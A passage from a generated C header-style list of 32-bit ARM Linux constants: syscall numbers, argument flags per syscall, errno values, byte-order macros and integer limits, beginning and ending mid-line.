(0+104)\n#define __NR_getitimer (0+105)\n#define __NR_stat (0+106)\n#define __NR_lstat (0+107)\n#define __NR_fstat (0+108)\n#define __NR_vhangup (0+111)\n#define __NR_syscall (0+113)\n#define __NR_wait4 (0+114)\n#define __NR_swapoff (0+115)\n#define __NR_sysinfo (0+116)\n#define __NR_ipc (0+117)\n#define __NR_fsync (0+118)\n#define __NR_sigreturn (0+119)\n#define __NR_clone (0+120)\n#define __NR_setdomainname (0+121)\n#define __NR_uname (0+122)\n#define __NR_adjtimex (0+124)\n#define __NR_mprotect (0+125)\n#define __NR_sigprocmask (0+126)\n#define __NR_init_module (0+128)\n#define __NR_delete_module (0+129)\n#define __NR_quotactl (0+131)\n#define __NR_getpgid (0+132)\n#define __NR_fchdir (0+133)\n#define __NR_bdflush (0+134)\n#define __NR_sysfs (0+135)\n#define __NR_personality (0+136)\n#define __NR_setfsuid (0+138)\n#define __NR_setfsgid (0+139)\n#define __NR__llseek (0+140)\n#define __NR_getdents (0+141)\n#define __NR__newselect (0+142)\n#define __NR_flock (0+143)\n#define __NR_msync (0+144)\n#define __NR_readv (0+145)\n#define __NR_writev (0+146)\n#define __NR_getsid (0+147)\n#define __NR_fdatasync (0+148)\n#define __NR__sysctl (0+149)\n#define __NR_mlock (0+150)\n#define __NR_munlock (0+151)\n#define __NR_mlockall (0+152)\n#define __NR_munlockall (0+153)\n#define __NR_sched_setparam (0+154)\n#define __NR_sched_getparam (0+155)\n#define __NR_sched_setscheduler (0+156)\n#define __NR_sched_getscheduler (0+157)\n#define __NR_sched_yield (0+158)\n#define __NR_sched_get_priority_max (0+159)\n#define __NR_sched_get_priority_min (0+160)\n#define __NR_sched_rr_get_interval (0+161)\n#define __NR_nanosleep (0+162)\n#define __NR_mremap (0+163)\n#define __NR_setresuid (0+164)\n#define __NR_getresuid (0+165)\n#define __NR_poll (0+168)\n#define __NR_nfsservctl (0+169)\n#define __NR_setresgid (0+170)\n#define __NR_getresgid (0+171)\n#define __NR_prctl (0+172)\n#define __NR_rt_sigreturn (0+173)\n#define __NR_rt_sigaction (0+174)\n#define __NR_rt_sigprocmask (0+175)\n#define __NR_rt_sigpending (0+176)\n#define __NR_rt_sigtimedwait (0+177)\n#define __NR_rt_sigqueueinfo (0+178)\n#define __NR_rt_sigsuspend (0+179)\n#define __NR_pread64 (0+180)\n#define __NR_pwrite64 (0+181)\n#define __NR_chown (0+182)\n#define __NR_getcwd (0+183)\n#define __NR_capget (0+184)\n#define __NR_capset (0+185)\n#define __NR_sigaltstack (0+186)\n#define __NR_sendfile (0+187)\n#define __NR_vfork (0+190)\n#define __NR_ugetrlimit (0+191)\n#define __NR_mmap2 (0+192)\n#define __NR_truncate64 (0+193)\n#define __NR_ftruncate64 (0+194)\n#define __NR_stat64 (0+195)\n#define __NR_lstat64 (0+196)\n#define __NR_fstat64 (0+197)\n#define __NR_lchown32 (0+198)\n#define __NR_getuid32 (0+199)\n#define __NR_getgid32 (0+200)\n#define __NR_geteuid32 (0+201)\n#define __NR_getegid32 (0+202)\n#define __NR_setreuid32 (0+203)\n#define __NR_setregid32 (0+204)\n#define __NR_getgroups32 (0+205)\n#define __NR_setgroups32 (0+206)\n#define __NR_fchown32 (0+207)\n#define __NR_setresuid32 (0+208)\n#define __NR_getresuid32 (0+209)\n#define __NR_setresgid32 (0+210)\n#define __NR_getresgid32 (0+211)\n#define __NR_chown32 (0+212)\n#define __NR_setuid32 (0+213)\n#define __NR_setgid32 (0+214)\n#define __NR_setfsuid32 (0+215)\n#define __NR_setfsgid32 (0+216)\n#define __NR_getdents64 (0+217)\n#define __NR_pivot_root (0+218)\n#define __NR_mincore (0+219)\n#define __NR_madvise (0+220)\n#define __NR_fcntl64 (0+221)\n#define __NR_gettid (0+224)\n#define __NR_readahead (0+225)\n#define __NR_setxattr (0+226)\n#define __NR_lsetxattr (0+227)\n#define __NR_fsetxattr (0+228)\n#define __NR_getxattr (0+229)\n#define __NR_lgetxattr (0+230)\n#define __NR_fgetxattr (0+231)\n#define __NR_listxattr (0+232)\n#define __NR_llistxattr (0+233)\n#define __NR_flistxattr (0+234)\n#define __NR_removexattr (0+235)\n#define __NR_lremovexattr (0+236)\n#define __NR_fremovexattr (0+237)\n#define __NR_tkill (0+238)\n#define __NR_sendfile64 (0+239)\n#define __NR_futex (0+240)\n#define __NR_sched_setaffinity (0+241)\n#define __NR_sched_getaffinity (0+242)\n#define __NR_io_setup (0+243)\n#define __NR_io_destroy (0+244)\n#define __NR_io_getevents (0+245)\n#define __NR_io_submit (0+246)\n#define __NR_io_cancel (0+247)\n#define __NR_exit_group (0+248)\n#define __NR_lookup_dcookie (0+249)\n#define __NR_epoll_create (0+250)\n#define __NR_epoll_ctl (0+251)\n#define __NR_epoll_wait (0+252)\n#define __NR_remap_file_pages (0+253)\n#define __NR_set_tid_address (0+256)\n#define __NR_timer_create (0+257)\n#define __NR_timer_settime (0+258)\n#define __NR_timer_gettime (0+259)\n#define __NR_timer_getoverrun (0+260)\n#define __NR_timer_delete (0+261)\n#define __NR_clock_settime (0+262)\n#define __NR_clock_gettime (0+263)\n#define __NR_clock_getres (0+264)\n#define __NR_clock_nanosleep (0+265)\n#define __NR_statfs64 (0+266)\n#define __NR_fstatfs64 (0+267)\n#define __NR_tgkill (0+268)\n#define __NR_utimes (0+269)\n#define __NR_arm_fadvise64_64 (0+270)\n#define __NR_pciconfig_iobase (0+271)\n#define __NR_pciconfig_read (0+272)\n#define __NR_pciconfig_write (0+273)\n#define __NR_mq_open (0+274)\n#define __NR_mq_unlink (0+275)\n#define __NR_mq_timedsend (0+276)\n#define __NR_mq_timedreceive (0+277)\n#define __NR_mq_notify (0+278)\n#define __NR_mq_getsetattr (0+279)\n#define __NR_waitid (0+280)\n#define __NR_socket (0+281)\n#define __NR_bind (0+282)\n#define __NR_connect (0+283)\n#define __NR_listen (0+284)\n#define __NR_accept (0+285)\n#define __NR_getsockname (0+286)\n#define __NR_getpeername (0+287)\n#define __NR_socketpair (0+288)\n#define __NR_send (0+289)\n#define __NR_sendto (0+290)\n#define __NR_recv (0+291)\n#define __NR_recvfrom (0+292)\n#define __NR_shutdown (0+293)\n#define __NR_setsockopt (0+294)\n#define __NR_getsockopt (0+295)\n#define __NR_sendmsg (0+296)\n#define __NR_recvmsg (0+297)\n#define __NR_semop (0+298)\n#define __NR_semget (0+299)\n#define __NR_semctl (0+300)\n#define __NR_msgsnd (0+301)\n#define __NR_msgrcv (0+302)\n#define __NR_msgget (0+303)\n#define __NR_msgctl (0+304)\n#define __NR_shmat (0+305)\n#define __NR_shmdt (0+306)\n#define __NR_shmget (0+307)\n#define __NR_shmctl (0+308)\n#define __NR_add_key (0+309)\n#define __NR_request_key (0+310)\n#define __NR_keyctl (0+311)\n#define __NR_semtimedop (0+312)\n#define __NR_vserver (0+313)\n#define __NR_ioprio_set (0+314)\n#define __NR_ioprio_get (0+315)\n#define __NR_inotify_init (0+316)\n#define __NR_inotify_add_watch (0+317)\n#define __NR_inotify_rm_watch (0+318)\n#define __NR_mbind (0+319)\n#define __NR_get_mempolicy (0+320)\n#define __NR_set_mempolicy (0+321)\n#define __NR_openat (0+322)\n#define __NR_mkdirat (0+323)\n#define __NR_mknodat (0+324)\n#define __NR_fchownat (0+325)\n#define __NR_futimesat (0+326)\n#define __NR_fstatat64 (0+327)\n#define __NR_unlinkat (0+328)\n#define __NR_renameat (0+329)\n#define __NR_linkat (0+330)\n#define __NR_symlinkat (0+331)\n#define __NR_readlinkat (0+332)\n#define __NR_fchmodat (0+333)\n#define __NR_faccessat (0+334)\n#define __NR_unshare (0+337)\n#define __NR_set_robust_list (0+338)\n#define __NR_get_robust_list (0+339)\n#define __NR_splice (0+340)\n#define __NR_arm_sync_file_range (0+341)\n#define __NR_tee (0+342)\n#define __NR_vmsplice (0+343)\n#define __NR_move_pages (0+344)\n#define __NR_getcpu (0+345)\n#define __NR_kexec_load (0+347)\n#define __NR_utimensat (0+348)\n#define __NR_signalfd (0+349)\n#define __NR_timerfd (0+350)\n#define __NR_eventfd (0+351)\n#define __NR_fallocate (0+352)\n#define __NR_timerfd_settime (0+353)\n#define __NR_timerfd_gettime (0+354)\n#define __NR_signalfd4 (0+355)\n#define __NR_eventfd2 (0+356)\n#define __NR_epoll_create1 (0+357)\n#define __NR_dup3 (0+358)\n#define __NR_pipe2 (0+359)\n#define __NR_inotify_init1 (0+360)\n#define __NR_preadv (0+361)\n#define __NR_pwritev (0+362)\n#define __NR_rt_tgsigqueueinfo (0+363)\n#define __NR_perf_event_open (0+364)\n#define __NR_recvmmsg (0+365)\n#define __NR_accept4 (0+366)\n#define __NR_fanotify_init (0+367)\n#define __NR_fanotify_mark (0+368)\n#define __NR_prlimit64 (0+369)\n#define __NR_name_to_handle_at (0+370)\n#define __NR_open_by_handle_at (0+371)\n#define __NR_clock_adjtime (0+372)\n#define __NR_syncfs (0+373)\n#define __NR_sendmmsg (0+374)\n#define __NR_setns (0+375)\n#define __NR_process_vm_readv (0+376)\n#define __NR_process_vm_writev (0+377)\n#define __NR_kcmp (0+378)\n#define __NR_finit_module (0+379)\n#define __NR_sched_setattr (0+380)\n#define __NR_sched_getattr (0+381)\n#define __NR_renameat2 (0+382)\n#define __NR_seccomp (0+383)\n#define __NR_getrandom (0+384)\n#define __NR_memfd_create (0+385)\n#define __NR_bpf (0+386)\n#define __NR_execveat (0+387)\n#define __NR_userfaultfd (0+388)\n#define __NR_membarrier (0+389)\n#define __NR_mlock2 (0+390)\n#define __NR_copy_file_range (0+391)\n#define __NR_preadv2 (0+392)\n#define __NR_pwritev2 (0+393)\n#define __NR_pkey_mprotect (0 + 394)\n#define __NR_pkey_alloc (0 + 395)\n#define __NR_pkey_free (0 + 396)\n#define __NR_statx (0 + 397)\n#define __NR_rseq (0 + 398)\n#define __NR_io_pgetevents (0 + 399)\n#define __NR_migrate_pages (0 + 400)\n#define __NR_kexec_file_load (0 + 401)\n#define __NR_clock_gettime64 (0 + 403)\n#define __NR_clock_settime64 (0 + 404)\n#define __NR_clock_adjtime64 (0 + 405)\n#define __NR_clock_getres_time64 (0 + 406)\n#define __NR_clock_nanosleep_time64 (0 + 407)\n#define __NR_timer_gettime64 (0 + 408)\n#define __NR_timer_settime64 (0 + 409)\n#define __NR_timerfd_gettime64 (0 + 410)\n#define __NR_timerfd_settime64 (0 + 411)\n#define __NR_utimensat_time64 (0 + 412)\n#define __NR_pselect6_time64 (0 + 413)\n#define __NR_ppoll_time64 (0 + 414)\n#define __NR_io_pgetevents_time64 (0 + 416)\n#define __NR_recvmmsg_time64 (0 + 417)\n#define __NR_mq_timedsend_time64 (0 + 418)\n#define __NR_mq_timedreceive_time64 (0 + 419)\n#define __NR_semtimedop_time64 (0 + 420)\n#define __NR_rt_sigtimedwait_time64 (0 + 421)\n#define __NR_futex_time64 (0 + 422)\n#define __NR_sched_rr_get_interval_time64 (0 + 423)\n#define __NR_pidfd_send_signal (0 + 424)\n#define __NR_io_uring_setup (0 + 425)\n#define __NR_io_uring_enter (0 + 426)\n#define __NR_io_uring_register (0 + 427)\n#define __NR_open_tree (0 + 428)\n#define __NR_move_mount (0 + 429)\n#define __NR_fsopen (0 + 430)\n#define __NR_fsconfig (0 + 431)\n#define __NR_fsmount (0 + 432)\n#define __NR_fspick (0 + 433)\n#define __NR_pidfd_open (0 + 434)\n#define __NR_clone3 (0 + 435)\n#define __NR_openat2 (0 + 437)\n#define __NR_pidfd_getfd (0 + 438)\n#define __ARM_NR_BASE (0+0x0f0000)\n#define __ARM_NR_breakpoint ((0+0x0f0000)+1)\n#define __ARM_NR_cacheflush ((0+0x0f0000)+2)\n#define __ARM_NR_usr26 ((0+0x0f0000)+3)\n#define __ARM_NR_usr32 ((0+0x0f0000)+4)\n#define __ARM_NR_set_tls ((0+0x0f0000)+5)\n#define __ARGS_exit 0\n#define __ARGS_fork 0\n#define __ARGS_read 0\n#define __ARGS_write 0\n#define __ARGS_open 0\n#define __ARGS_close 0\n#define __ARGS_waitpid 0\n#define __ARGS_creat 0\n#define __ARGS_link 0\n#define __ARGS_unlink 0\n#define __ARGS_execve 0\n#define __ARGS_chdir 0\n#define __ARGS_time 0\n#define __ARGS_mknod 0\n#define __ARGS_chmod 0\n#define __ARGS_lchown 0\n#define __ARGS_break 0\n#define __ARGS_lseek 0\n#define __ARGS_getpid 0\n#define __ARGS_mount 1\n#define __ARGS_umount 0\n#define __ARGS_setuid 0\n#define __ARGS_getuid 0\n#define __ARGS_stime 0\n#define __ARGS_ptrace 0\n#define __ARGS_alarm 0\n#define __ARGS_pause 0\n#define __ARGS_utime 0\n#define __ARGS_stty 0\n#define __ARGS_gtty 0\n#define __ARGS_access 0\n#define __ARGS_nice 0\n#define __ARGS_ftime 0\n#define __ARGS_sync 0\n#define __ARGS_kill 0\n#define __ARGS_rename 0\n#define __ARGS_mkdir 0\n#define __ARGS_rmdir 0\n#define __ARGS_dup 0\n#define __ARGS_pipe 0\n#define __ARGS_times 0\n#define __ARGS_prof 0\n#define __ARGS_brk 0\n#define __ARGS_setgid 0\n#define __ARGS_getgid 0\n#define __ARGS_signal 0\n#define __ARGS_geteuid 0\n#define __ARGS_getegid 0\n#define __ARGS_acct 0\n#define __ARGS_umount2 0\n#define __ARGS_lock 0\n#define __ARGS_ioctl 0\n#define __ARGS_fcntl 0\n#define __ARGS_mpx 0\n#define __ARGS_setpgid 0\n#define __ARGS_ulimit 0\n#define __ARGS_umask 0\n#define __ARGS_chroot 0\n#define __ARGS_ustat 0\n#define __ARGS_dup2 0\n#define __ARGS_getppid 0\n#define __ARGS_getpgrp 0\n#define __ARGS_setsid 0\n#define __ARGS_sigaction 0\n#define __ARGS_sgetmask 0\n#define __ARGS_ssetmask 0\n#define __ARGS_setreuid 0\n#define __ARGS_setregid 0\n#define __ARGS_sigsuspend 0\n#define __ARGS_sigpending 0\n#define __ARGS_sethostname 0\n#define __ARGS_setrlimit 0\n#define __ARGS_getrlimit 0\n#define __ARGS_getrusage 0\n#define __ARGS_gettimeofday 0\n#define __ARGS_settimeofday 0\n#define __ARGS_getgroups 0\n#define __ARGS_setgroups 0\n#define __ARGS_select 0\n#define __ARGS_symlink 0\n#define __ARGS_readlink 0\n#define __ARGS_uselib 0\n#define __ARGS_swapon 0\n#define __ARGS_reboot 0\n#define __ARGS_readdir 0\n#define __ARGS_mmap 0\n#define __ARGS_munmap 0\n#define __ARGS_truncate 0\n#define __ARGS_ftruncate 0\n#define __ARGS_fchmod 0\n#define __ARGS_fchown 0\n#define __ARGS_getpriority 0\n#define __ARGS_setpriority 0\n#define __ARGS_profil 0\n#define __ARGS_statfs 0\n#define __ARGS_fstatfs 0\n#define __ARGS_ioperm 0\n#define __ARGS_socketcall 0\n#define __ARGS_syslog 0\n#define __ARGS_setitimer 0\n#define __ARGS_getitimer 0\n#define __ARGS_stat 0\n#define __ARGS_lstat 0\n#define __ARGS_fstat 0\n#define __ARGS_vhangup 0\n#define __ARGS_idle 0\n#define __ARGS_syscall 0\n#define __ARGS_wait4 0\n#define __ARGS_swapoff 0\n#define __ARGS_sysinfo 0\n#define __ARGS_ipc 1\n#define __ARGS_fsync 0\n#define __ARGS_sigreturn 0\n#define __ARGS_clone 0\n#define __ARGS_setdomainname 0\n#define __ARGS_uname 0\n#define __ARGS_modify_ldt 0\n#define __ARGS_adjtimex 0\n#define __ARGS_mprotect 0\n#define __ARGS_sigprocmask 0\n#define __ARGS_create_module 0\n#define __ARGS_init_module 0\n#define __ARGS_delete_module 0\n#define __ARGS_get_kernel_syms 0\n#define __ARGS_quotactl 0\n#define __ARGS_getpgid 0\n#define __ARGS_fchdir 0\n#define __ARGS_bdflush 0\n#define __ARGS_sysfs 0\n#define __ARGS_personality 0\n#define __ARGS_afs_syscall 0\n#define __ARGS_setfsuid 0\n#define __ARGS_setfsgid 0\n#define __ARGS__llseek 1\n#define __ARGS_getdents 0\n#define __ARGS__newselect 1\n#define __ARGS_flock 0\n#define __ARGS_msync 0\n#define __ARGS_readv 0\n#define __ARGS_writev 0\n#define __ARGS_getsid 0\n#define __ARGS_fdatasync 0\n#define __ARGS__sysctl 0\n#define __ARGS_mlock 0\n#define __ARGS_munlock 0\n#define __ARGS_mlockall 0\n#define __ARGS_munlockall 0\n#define __ARGS_sched_setparam 0\n#define __ARGS_sched_getparam 0\n#define __ARGS_sched_setscheduler 0\n#define __ARGS_sched_getscheduler 0\n#define __ARGS_sched_yield 0\n#define __ARGS_sched_get_priority_max 0\n#define __ARGS_sched_get_priority_min 0\n#define __ARGS_sched_rr_get_interval 0\n#define __ARGS_nanosleep 0\n#define __ARGS_mremap 0\n#define __ARGS_setresuid 0\n#define __ARGS_getresuid 0\n#define __ARGS_vm86 0\n#define __ARGS_query_module 1\n#define __ARGS_poll 0\n#define __ARGS_nfsservctl 0\n#define __ARGS_setresgid 0\n#define __ARGS_getresgid 0\n#define __ARGS_prctl 1\n#define __ARGS_rt_sigreturn 0\n#define __ARGS_rt_sigaction 0\n#define __ARGS_rt_sigprocmask 0\n#define __ARGS_rt_sigpending 0\n#define __ARGS_rt_sigtimedwait 0\n#define __ARGS_rt_sigqueueinfo 0\n#define __ARGS_rt_sigsuspend 0\n#define __ARGS_pread 0\n#define __ARGS_pwrite 0\n#define __ARGS_pread64 0\n#define __ARGS_pwrite64 0\n#define __ARGS_chown 0\n#define __ARGS_getcwd 0\n#define __ARGS_capget 0\n#define __ARGS_capset 0\n#define __ARGS_sigaltstack 0\n#define __ARGS_sendfile 0\n#define __ARGS_vfork 0\n#define __ARGS_ugetrlimit 0\n#define __ARGS_mmap2 1\n#define __ARGS_truncate64 0\n#define __ARGS_ftruncate64 0\n#define __ARGS_stat64 0\n#define __ARGS_lstat64 0\n#define __ARGS_fstat64 0\n#define __ARGS_lchown32 0\n#define __ARGS_getuid32 0\n#define __ARGS_getgid32 0\n#define __ARGS_geteuid32 0\n#define __ARGS_getegid32 0\n#define __ARGS_setreuid32 0\n#define __ARGS_setregid32 0\n#define __ARGS_getgroups32 0\n#define __ARGS_setgroups32 0\n#define __ARGS_fchown32 0\n#define __ARGS_setresuid32 0\n#define __ARGS_getresuid32 0\n#define __ARGS_setresgid32 0\n#define __ARGS_getresgid32 0\n#define __ARGS_chown32 0\n#define __ARGS_setuid32 0\n#define __ARGS_setgid32 0\n#define __ARGS_setfsuid32 0\n#define __ARGS_setfsgid32 0\n#define __ARGS_getdents64 0\n#define __ARGS_pivot_root 0\n#define __ARGS_mincore 0\n#define __ARGS_madvise 0\n#define __ARGS_fcntl64 0\n#define __ARGS_security 0\n#define __ARGS_gettid 0\n#define __ARGS_readahead 0\n#define __ARGS_setxattr 1\n#define __ARGS_lsetxattr 1\n#define __ARGS_fsetxattr 1\n#define __ARGS_getxattr 0\n#define __ARGS_lgetxattr 0\n#define __ARGS_fgetxattr 0\n#define __ARGS_listxattr 0\n#define __ARGS_llistxattr 0\n#define __ARGS_flistxattr 0\n#define __ARGS_removexattr 0\n#define __ARGS_lremovexattr 0\n#define __ARGS_fremovexattr 0\n#define __ARGS_tkill 0\n#define __ARGS_sendfile64 0\n#define __ARGS_futex 0\n#define __ARGS_sched_setaffinity 0\n#define __ARGS_sched_getaffinity 0\n#define __ARGS_io_setup 0\n#define __ARGS_io_destroy 0\n#define __ARGS_io_getevents 0\n#define __ARGS_io_submit 0\n#define __ARGS_io_cancel 0\n#define __ARGS_exit_group 0\n#define __ARGS_lookup_dcookie 0\n#define __ARGS_epoll_create 0\n#define __ARGS_epoll_ctl 0\n#define __ARGS_epoll_wait 0\n#define __ARGS_remap_file_pages 0\n#define __ARGS_set_thread_area 0\n#define __ARGS_get_thread_area 0\n#define __ARGS_set_tid_address 0\n#define __ARGS_timer_create 0\n#define __ARGS_timer_settime 0\n#define __ARGS_timer_gettime 0\n#define __ARGS_timer_getoverrun 0\n#define __ARGS_timer_delete 0\n#define __ARGS_clock_settime 0\n#define __ARGS_clock_gettime 0\n#define __ARGS_clock_getres 0\n#define __ARGS_clock_nanosleep 0\n#define __ARGS_statfs64 0\n#define __ARGS_fstatfs64 0\n#define __ARGS_tgkill 0\n#define __ARGS_utimes 0\n#define __ARGS_arm_fadvise64_64 1\n#define __ARGS_fadvise64 0\n#define __ARGS_fadvise64_64 0\n#define __ARGS_pciconfig_iobase 0\n#define __ARGS_pciconfig_read 1\n#define __ARGS_pciconfig_write 1\n#define __ARGS_mq_open 0\n#define __ARGS_mq_unlink 0\n#define __ARGS_mq_timedsend 0\n#define __ARGS_mq_timedreceive 1\n#define __ARGS_mq_notify 0\n#define __ARGS_mq_getsetattr 0\n#define __ARGS_waitid 0\n#define __ARGS_socket 0\n#define __ARGS_bind 0\n#define __ARGS_connect 0\n#define __ARGS_listen 0\n#define __ARGS_accept 0\n#define __ARGS_getsockname 0\n#define __ARGS_getpeername 0\n#define __ARGS_socketpair 0\n#define __ARGS_send 0\n#define __ARGS_sendto 1\n#define __ARGS_recv 0\n#define __ARGS_recvfrom 1\n#define __ARGS_shutdown 0\n#define __ARGS_setsockopt 0\n#define __ARGS_getsockopt 0\n#define __ARGS_sendmsg 0\n#define __ARGS_recvmsg 0\n#define __ARGS_semop 0\n#define __ARGS_semget 0\n#define __ARGS_semctl 0\n#define __ARGS_msgsnd 0\n#define __ARGS_msgrcv 0\n#define __ARGS_msgget 0\n#define __ARGS_msgctl 0\n#define __ARGS_shmat 0\n#define __ARGS_shmdt 0\n#define __ARGS_shmget 0\n#define __ARGS_shmctl 0\n#define __ARGS_add_key 1\n#define __ARGS_request_key 1\n#define __ARGS_keyctl 0\n#define __ARGS_vserver 0\n#define __ARGS_ioprio_set 0\n#define __ARGS_ioprio_get 0\n#define __ARGS_inotify_init 0\n#define __ARGS_inotify_add_watch 0\n#define __ARGS_inotify_rm_watch 0\n#define __ARGS_mbind 1\n#define __ARGS_get_mempolicy 1\n#define __ARGS_set_mempolicy 1\n#define __ARGS_openat 0\n#define __ARGS_mkdirat 0\n#define __ARGS_mknodat 0\n#define __ARGS_fchownat 1\n#define __ARGS_futimesat 0\n#define __ARGS_fstatat64 0\n#define __ARGS_unlinkat 0\n#define __ARGS_renameat 0\n#define __ARGS_linkat 1\n#define __ARGS_symlinkat 0\n#define __ARGS_readlinkat 0\n#define __ARGS_fchmodat 0\n#define __ARGS_faccessat 0\n#define __ARGS_unshare 0\n#define __ARGS_set_robust_list 0\n#define __ARGS_get_robust_list 0\n#define __ARGS_splice 1\n#define __ARGS_arm_sync_file_range 0\n#define __ARGS_sync_file_range2 0\n#define __ARGS_tee 0\n#define __ARGS_vmsplice 0\n#define __ARGS_move_pages 1\n#define __ARGS_getcpu 0\n#define __ARGS_kexec_load 0\n#define __ARGS_utimensat 0\n#define __ARGS_signalfd 0\n#define __ARGS_timerfd 0\n#define __ARGS_eventfd 0\n#define __ARGS_fallocate 0\n#define __ARGS_timerfd_settime 0\n#define __ARGS_timerfd_gettime 0\n#define __ARGS_signalfd4 0\n#define __ARGS_eventfd2 0\n#define __ARGS_epoll_create1 0\n#define __ARGS_dup3 0\n#define __ARGS_pipe2 0\n#define __ARGS_inotify_init1 0\n#define __ARGS_preadv 0\n#define __ARGS_pwritev 0\n#define __ARGS_rt_tgsigqueueinfo 0\n#define __ARGS_perf_event_open 1\n#define __ARGS_recvmmsg 1\n#define __ARGS_accept4 0\n#define __ARGS_fanotify_init 0\n#define __ARGS_fanotify_mark 1\n#define __ARGS_prlimit64 0\n#define __ARGS_name_to_handle_at 1\n#define __ARGS_open_by_handle_at 0\n#define __ARGS_clock_adjtime 0\n#define __ARGS_syncfs 0\n#define __ARGS_sendmmsg 0\n#define __ARGS_setns 0\n#define __ARGS_process_vm_readv 1\n#define __ARGS_process_vm_writev 1\n#define __ARGS_kcmp 1\n#define __ARGS_finit_module 0\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 1234\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define 